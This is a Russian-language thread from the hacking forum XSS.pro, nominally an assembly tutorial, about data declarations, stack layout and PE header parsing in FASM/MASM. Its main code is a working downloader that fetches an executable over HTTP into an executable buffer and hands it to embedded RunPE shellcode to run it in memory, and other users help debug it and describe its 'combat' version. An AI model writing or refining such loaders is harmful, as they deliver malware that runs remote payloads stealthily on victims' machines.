• XSS.stack #1 – первый литературный журнал от юзеров форума

Ассемблер Для Начинающих

var dd 0 - один дворд, равный нулю
hsession dd 1 - один дворд, равный единице
buflen dd 256 - один дворд равны 256

arr1 rb 10 - массив из 10ти байт
arr2 rd 256 - массив из 256ти двордов
 
Уже работает как надо (ничего копировать не нужно было, тов. el- указал в правое направление), но есть одно маленькое НО: например нам нужно скачать файл размером ~30 кб., соответственно нужно изменить значение (к примеру) b1 rd 256 на b1 rd 35328 <= в следствии чего, это резервируемое место, сказывается на размере исходного файла.
При b1 rd 256 размер файла 4 кб., а при b1 rd 35328 144 кб. o_O Как можно "пофиксить" этот эффект?(

Код:
format PE GUI on 'nul'
entry start
section '.TEST' code import writeable readable executable

include 'win32ax.inc'

library kernel32, 'kernel32.dll',\
	user32, 'user32.dll',\
    wininet, 'wininet.dll'	
    
import	kernel32,\
	ExitProcess, 'ExitProcess'
    
import	user32,\
	MessageBoxA, 'MessageBoxA'
 
import wininet,\
    InternetOpenA, 'InternetOpenA',\
    InternetOpenUrlA, 'InternetOpenUrlA',\
    InternetReadFile, 'InternetReadFile',\
    InternetCloseHandle, 'InternetCloseHandle'


start:

    invoke InternetOpenA, 'useragent', 1, 0, 0, 0
    mov [hSession], eax
    
    invoke InternetOpenUrlA, [hSession], 'http://127.0.0.1/test.exe', 0, 0, 0, 0
    mov [hURL], eax
    
    invoke InternetReadFile, [hURL], Buffer, Buffer, BufferLength
    
    lea eax, [Buffer]
    lea ebx, [runpeshellcode]
    call ebx
    
exit:
    invoke InternetCloseHandle, [hURL]
    invoke InternetCloseHandle, [hSession]
    xor eax, eax
    invoke ExitProcess, eax
    
    
    hSession dd ?
    hURL dd ?
    Buffer dd ?
    BufferLength rd 256
    b1 rd 256
    
    runpeshellcode file 'runpe.bin'
 
neko
Верно (BufferLength rb 1000h), но всё равно, готовый файл увеличивается в размере, хоть и на пару килобайт (=
А что если потребуется загрузить файл размером в 10 мегабайт? И вообще, мы не знаем конечного размера загружаемого.. нельзя как-то динамически это значение менять?
 
Выходит следующая картина:
Код:
format PE GUI on 'nul'
entry start
section '.TEST' code import writeable readable executable

include 'win32ax.inc'

library kernel32, 'kernel32.dll',\
    user32, 'user32.dll',\
    wininet, 'wininet.dll'
   
import kernel32,\
    ExitProcess, 'ExitProcess',\
    CreateFile, 'CreateFileA',\
    WriteFile, 'WriteFile',\
    CloseHandle, 'CloseHandle',\
    VirtualAlloc, 'VirtualAlloc',\
    VirtualFree, 'VirtualFree'
   
import user32,\
    MessageBoxA, 'MessageBoxA'

import wininet,\
    InternetOpenA, 'InternetOpenA',\
    InternetOpenUrlA, 'InternetOpenUrlA',\
    InternetReadFile, 'InternetReadFile',\
    InternetCloseHandle, 'InternetCloseHandle'


start:

    invoke InternetOpenA, 'useragent', 1, 0, 0, 0
   
    invoke InternetOpenUrlA, eax, 'http://localhost/file.exe', 0, 0, 0, 0
    mov [hURL], eax

    invoke VirtualAlloc, 0, 10000000h, MEM_COMMIT, PAGE_EXECUTE_READWRITE
    mov edi, eax
    invoke InternetReadFile, [hURL], edi, edi, BufferLength  
    mov [buffer], edi


   ;invoke MessageBoxA, 0, edi, 'zagol', MB_OK
   ;invoke CreateFile, 'test.exe', GENERIC_WRITE, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
   ;invoke WriteFile, eax, edi, [BufferLength], BufferLength, 0
    
    lea eax, [buffer]
    lea ebx, [runpeshellcode]
    call ebx
   
    xor eax, eax
    invoke InternetCloseHandle, [hURL]
    invoke InternetCloseHandle, [hSession]
    invoke VirtualFree, edi, eax, MEM_RELEASE
    invoke CloseHandle, [hfile]
    invoke ExitProcess, eax
   
    
    hSession dd 0
    hURL dd 0
    BufferLength dd 0
    hfile dd 0
    buffer dd 0
   
    runpeshellcode file 'runpe.bin'

Касательно VirtualAlloc вроде дошло, но снова корыто: буффер "не так" читается, хотя в файл запись с него успешно производится. Где я тут снова напортачил?(
 
ну хотяб так,
Код:
   invoke VirtualAlloc, 0, 10000000h, MEM_COMMIT, PAGE_EXECUTE_READWRITE
   mov edi, eax
   invoke InternetReadFile, [hURL], edi, 10000000h, BufferLength  

   mov eax,edi
   lea ebx, [runpeshellcode]
   call ebx
на самом деле InternetReadFile не обязан за раз скачивать файл, в "боевых" условиях эту апи дергают в цикле постепенно укладывая данные в буфер.
Цитата из MSDN
To ensure all data is retrieved, an application must continue to call the InternetReadFile function until the function returns TRUE and the lpdwNumberOfBytesRead parameter equals zero.
в этом смысле запись в файл реализуется проще чем в память, потому как не надо заботится о своевременном расширении буфера и последовательной укладке данных по местам, прочитал -> записал, прочитал->записал и нет боли головной. есть конечно прекрасный интерфейс IStream для потоковой записи в память, но боюсь тебе до его использования на асме еще далеко.
 
следи внимательно какие параметры передаешь в апи

Код:
invoke InternetReadFile, [hURL], edi, edi, BufferLength  

раз ты выбрал этот язык, где нету проверки кода и все на совести кодера, пиши внимательно, проверяй на ошибки и делай отладочный вывод, гонять код из-за каждого байта ошибки это не дело. если не хочешь, пиши на языках, которые типизированы и при компиляции укажут тебе на примитивные ошибки

*update по wininet
https://xss.pro/index.php?topic=22571
https://xss.pro/index.php?topic=22621
 
юзай COM и примеры масма. гдето есть в папке examples создание ярлыка. там функций 5-6 не больше
 
рабочий пример предложили человеку дефолтный масмовый - зачем тебе велосипед изобретать?
 
Не следует забывать о таком понятии, как переполнение стека. Мы знаем, что после загрузки COM-программы в память, ss равен сегменту, куда загрузилась программа, а sp = 0FFFFh. Код программы начинается с адреса 100h. Вершина стека - конец сегмента. Если наша программа занимает, скажем, 2000h байт, то можем установить sp в 2200h. В этом случае мы отводим 100h байт для стека. Стек, как вы помните, растет снизу вверх. Если мы переполним стек (например, поместим более 100h данных), то затрется часть нашей программы снизу.
Для иллюстративного восприятия стека и его переполнения, подходит ли данная схема с моими пометками?:

0abd4e092c21.png


И каким бы вы доступным образом, своими словами, смогли объяснить фразу "Вершина стека - конец сегмента"?

Суть стека понятна, но не ясно его, скажем так, "расположение" относительно остальных сегментов.. :mellow: Как правильно упорядочить инфу в голове об этой штуковине?((
Раз переполнение, то значения идут в минус?
 
тут говорить про com проги, не COM (Component Object Model )который говорят тебе юзать, а тот com который был во времена дос, на ровне exe и отличался он тем ( если мне не изменяет память ), что у него не было никаких заголовков или каких доп описываемых данных, а был только код которой, мапился на память и дальше на него передавалось управление, далее самом приходилось настраивать стек или что то типа того. не забивай голову, в общем, тогда была общая память, были резиденты по средством перехвата прерываний, потому что многопоточности не было и т.д. куча страшных вещей.

сейчас же на процесс выделяется 4гб памяти, 2 для юзера который у каждого процесса разные и 2гб для ядра, которое у всех общее ( в х64 выросло колво памяти, но не суть ), в этих 2гб резервируется необходимый диапазон памяти ( длинна забивается в PE EXE заголовке ) и на него настраивается esp. так что стек представляет из себя всего лишь кусок памяти, единственная разница, что он растет с снизу вверх, т.е. если под стек выделили паять скажем по адресу 0x1000 то начинаться все будет 0x1ffc.

есть несколько понятий stack overflow и stack buffer overflow, первое это когда в стек напихали столько всего что его указатель упрется в 0x1000 и при еще одной записи попытается записать что то в 0x0ffc где памяти уже нету и все будет печально. второе же это тип уязвимости, почти не встречающийся в наше время, когда в стеке ( а не в динамической памяти ) выделяется буфер под буфер, и в этот буфер копируются данных больше чем он есть, тогда эти данные трут идущие за буфером нужные данные, что приводит к ошибке, подробнее тут

https://exploit.in/forum/index.php?showtopi...indpost&p=93248
 
el-
Спасибо! Листал на досуге Калашникова, и наткнувшись на данный абзац - впал в ступор: стал глупить "сверху вниз" или "снизу вверх", никак не мог построить картинку в голове (может оно определяется в каждой книжке/статье по своему, исходя из общего контекста, хз). А еще и арифметика, вообще ппц.. пойду выкину калаша-алкаша нафик -_-
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Wolfomeo
Я тоже долго не мог понять всю эту тему про стек, что он растет сверху вниз или снизу вверх, от старших адресов к младшим и прочее. Советую скачать вот эту прогу https://exploit.in/forum/index.php?showtopic=42085&hl= и в интерактивном режиме поиграться со стеком и так далее. Т.е. наглядно посмотреть, что делают команды push, pop, ret и т.д. Или любой отладчик вида олли, но emu мне больше нравится, если надо по быстрому что-то потестить. Минусы - поддерживается лишь 8086 проц, т.е. регистры в виде ax,bx, недоступны многие команды, но в целом, для базового ознакомления очень даже хорошая вещь. :thumbsup:
 
Всем привет.

masm
Код:
mov edi, eax 
assume edi:ptr IMAGE_DOS_HEADER 
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32 
mov eax, [edi].SizeOfImage
mov Size, eax
assume edi:NOTHING

to

fasm
Код:
mov edi, eax
add edi, [edi + IMAGE_DOS_HEADER.e_lfanew]
add edi, 4
add edi, sizeof.IMAGE_FILE_HEADER
mov eax, [edi + IMAGE_OPTIONAL_HEADER32.SizeOfImage]
mov [Size], eax

Интересует, каким образом можно обозначить assume edi:NOTHING в fasm'е. Как быть? :(
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх